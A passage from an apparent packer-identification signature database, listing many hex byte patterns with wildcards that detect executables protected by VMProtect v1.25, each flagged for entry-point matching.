9D 5F 59 C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 9D 59 5D 5B 5F 58 5E 5A 5A C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 5B 9D 5A 5F 59 58 5D 5E 5E C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 5F 5A 5B 5E 5D 5B 9D 59 58 C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 5B 9D 58 5F 5E 59 5D 5D 5A C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 5F 5D 58 59 9D 5E 5B 5A 5E C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 5E 5D 5A 5F 59 58 9D 5B 5B C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 5D 5D 58 5F 59 5B 9D 5E 5A C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 5A 59 5F 59 58 9D 5E 5D 5B C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 98 98 83 ED 04 83 C6 01 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 98 98 83 ED 04 46 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 98 98 83 C6 01 83 ED 04 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 98 98 83 ED 04 89 45 00 8D 76 01 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 98 98 83 ED 04 89 45 00 83 C6 01 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 98 98 83 ED 04 83 EE FF 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 8B 55 00 83 EE FF 83 C5 02 88 14 07 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 8B 55 00 83 EE FF 83 C5 02 66 89 14 07 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 8B 55 00 83 C6 01 83 C5 02 66 89 14 07 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 98 83 EE FF 98 83 ED 04 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 98 83 C6 01 98 83 ED 04 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 8B 55 00 8D 76 01 83 C5 02 66 89 14 07 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 98 98 83 ED 04 8D 76 01 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 83 EE FF 66 8B 55 00 83 C5 02 66 89 14 07 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 83 ED 02 83 EE FF 66 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 83 ED 02 66 89 45 00 8D 76 01 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 8A 04 07 46 83 ED 02 66 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 83 EE FF 66 98 98 83 ED 04 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 83 EE FF 66 8B 55 00 83 C5 02 88 14 07 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 83 C6 01 66 8B 55 00 83 C5 02 66 89 14 07 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 83 C6 01 66 8B 04 07 83 ED 02 66 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 98 98 83 EE FF 83 ED 04 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 83 ED 02 66 89 45 00 83 EE FF E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 83 C6 01 8A 04 07 83 ED 02 66 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 83 C6 01 66 8B 55 00 83 C5 02 88 14 07 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 8B 55 00 83 C5 02 8D 76 01 88 14 07 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5B 5E 9D 5F 5D 5B 58 5D 59 5A C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5B 5E 9D 5D 5B 59 5A 58 5F 5A C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5B 5E 5F 58 59 9D 5F 5B 5D 5A C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5B 9D 5D 59 58 5F 5A 5E 5B 5B C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5B 5F 9D 58 5B 5D 5A 5A 5E 59 C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5B 5F 5A 58 5E 5D 5B 9D 59 5D C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5B 5E 59 58 5F 5B 5D 5D 5A 9D C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5B 5E 58 5F 5D 5A 59 9D 5A 5B C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5B 5D 5B 58 5A 59 5F 9D 5E 58 C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5B 5E 5D 5B 5A 9D 58 5A 59 5F C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5B 5E 5D 58 59 58 9D 5A 5B 5F C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5B 5E 5A 59 9D 5F 5D 5B 58 5B C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5B 9D 5D 5E 59 5B 58 5B 5F 5A C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 8B 55 00 83 C5 02 66 89 14 07 8D 76 01 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 8B 04 07 8D 76 01 83 ED 02 66 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 8B 04 07 83 ED 02 8D 76 01 66 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 8B 55 00 83 C5 02 88 14 07 8D 76 01 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 8B 55 00 83 C5 02 83 EE FF 66 89 14 07 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 8B 55 00 83 C5 02 83 C6 01 66 89 14 07 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 46 66 8B 04 07 83 ED 02 66 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5B 9D 5F 59 5D 5A 5B 5B 5E 58 C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5B 9D 5F 58 5E 5A 5B 59 5D 59 C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 8B 04 07 83 ED 02 66 89 45 00 8D 76 01 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 8B 04 07 83 ED 02 66 89 45 00 83 C6 01 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 8B 04 07 83 C6 01 83 ED 02 66 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 5B 5D 5E 59 5F 58 9D 58 5A C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 5A 9D 5B 59 5D 5F 58 5E 5E C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 8D 76 01 66 98 98 83 ED 04 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 8D 76 01 66 8B 55 00 83 C5 02 88 14 07 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 8D 76 01 66 8B 04 07 83 ED 02 66 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 06 83 ED 04 89 45 00 8D 76 04 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 8D 76 01 8A 04 07 83 ED 02 66 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 8D 76 01 83 ED 02 66 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 8A 04 07 83 ED 02 66 89 45 00 83 EE FF E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 8A 04 07 83 ED 02 66 89 45 00 83 C6 01 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 8A 04 07 83 C6 01 83 ED 02 66 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 8A 04 07 8D 76 01 83 ED 02 66 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 8A 04 07 83 ED 02 83 EE FF 66 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 8A 04 07 83 ED 02 83 C6 01 66 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 06 83 ED 04 8D 76 04 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 8B 55 00 83 C5 02 88 14 07 46 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 8B 55 00 83 C5 02 83 EE FF 88 14 07 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 8B 55 00 83 C5 02 83 C6 01 88 14 07 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 8B 55 00 83 C5 02 8D 76 01 66 89 14 07 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 8B 55 00 83 C5 02 88 14 07 83 EE FF E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 8B 55 00 83 C5 02 88 14 07 83 C6 01 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 8B 55 00 83 C5 02 46 88 14 07 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 8B 55 00 83 C5 02 46 66 89 14 07 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 8B 55 00 46 83 C5 02 88 14 07 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 8B 55 00 83 C5 02 66 89 14 07 83 EE FF E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 8B 55 00 83 C5 02 66 89 14 07 83 C6 01 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 8B 55 00 83 C5 02 66 89 14 07 46 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 8B 55 00 83 C6 01 83 C5 02 88 14 07 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 83 C6 01 83 ED 02 66 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 83 C6 01 66 98 98 83 ED 04 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 98 98 8D 76 01 83 ED 04 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 83 ED 02 66 89 45 00 83 C6 01 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 83 ED 02 66 89 45 00 46 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 83 ED 02 46 66 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 98 8D 76 01 98 83 ED 04 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 98 46 98 83 ED 04 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 8B 55 00 8D 76 01 83 C5 02 88 14 07 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 98 98 83 ED 04 89 45 00 83 EE FF E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 98 98 83 ED 04 89 45 00 46 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 98 98 46 83 ED 04 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 8B 55 00 46 83 C5 02 66 89 14 07 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5B 5A 5F 5D 9D 58 59 59 5B 5E C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5B 5A 5B 5F 5E 9D 58 5D 59 5A C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5A 5A 59 5F 58 5E 9D 5D 5F 5B C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5B 5E 59 5A 5B 9D 5F 58 58 5D C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5B 5D 9D 59 5F 5D 58 5E 5A 5B C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5B 5D 5B 59 5F 5E 9D 5D 5A 58 C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 59 5B 58 5A 5B 5F 5E 9D 5D C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 5D 5E 9D 5F 5B 5A 5B 58 59 C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 5D 5E 5B 5F 58 5E 59 5A 9D C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5A 58 5E 5F 5D 5A 58 5B 9D 59 C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5A 58 59 5E 5D 5F 5B 9D 5A 5F C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 9D 5B 5D 5A 5F 59 5E 58 59 C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5B 5F 5F 5B 58 59 5D 5A 5E 9D C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 8B 04 07 83 ED 02 66 89 45 00 83 EE FF E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 8B 04 07 83 ED 02 66 89 45 00 46 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 8B 04 07 83 ED 02 46 66 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 8B 04 07 83 EE FF 83 ED 02 66 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 8B 04 07 83 ED 02 83 EE FF 66 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 8B 04 07 83 ED 02 83 C6 01 66 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 46 66 98 98 83 ED 04 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 46 66 8B 55 00 83 C5 02 88 14 07 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 46 66 8B 55 00 83 C5 02 66 89 14 07 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 8B 04 07 46 83 ED 02 66 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 46 8A 04 07 83 ED 02 66 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 46 83 ED 02 66 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 45 00 8B 55 04 83 C5 08 89 10 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 45 00 8B 55 04 83 C5 08 36 89 10 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 55 00 83 C5 02 36 8A 02 66 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 45 00 8B 55 04 F7 D0 F7 D2 21 D0 89 45 04 9C 8F 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 45 00 8A 4D 04 83 ED 02 D3 E8 89 45 04 9C 8F 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 45 00 8A 4D 04 83 ED 02 D3 E0 89 45 04 9C 8F 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 45 00 83 C5 02 66 8B 00 66 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 45 00 8A 55 04 83 C5 06 88 10 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 45 00 8A 55 04 83 C5 06 36 88 10 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 55 00 83 C5 02 8A 02 66 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 66 8B 04 07 83 ED 02 66 89 45 00 8D 76 01 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 66 8B 04 07 83 C6 01 83 ED 02 66 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? F7 55 00 66 8B 45 00 83 ED 02 66 21 45 04 9C 8F 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 66 8B 04 07 83 ED 02 8D 76 01 66 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 66 8B 04 07 83 ED 02 83 EE FF 66 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 66 8B 04 07 83 ED 02 83 C6 01 66 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 45 00 83 C5 02 66 36 8B 00 66 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 8A 04 07 83 ED 02 8D 76 01 66 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 8A 04 07 83 ED 02 66 89 45 00 8D 76 01 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 8A 04 07 83 ED 02 66 89 45 00 46 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 45 00 83 ED 02 00 45 04 9C 8F 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 8D 76 01 66 8B 55 00 83 C5 02 66 89 14 07 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 8A 04 07 83 EE FF 83 ED 02 66 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 83 EE FF 66 8B 04 07 83 ED 02 66 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 83 ED 02 8D 76 01 66 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 83 ED 02 83 C6 01 66 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 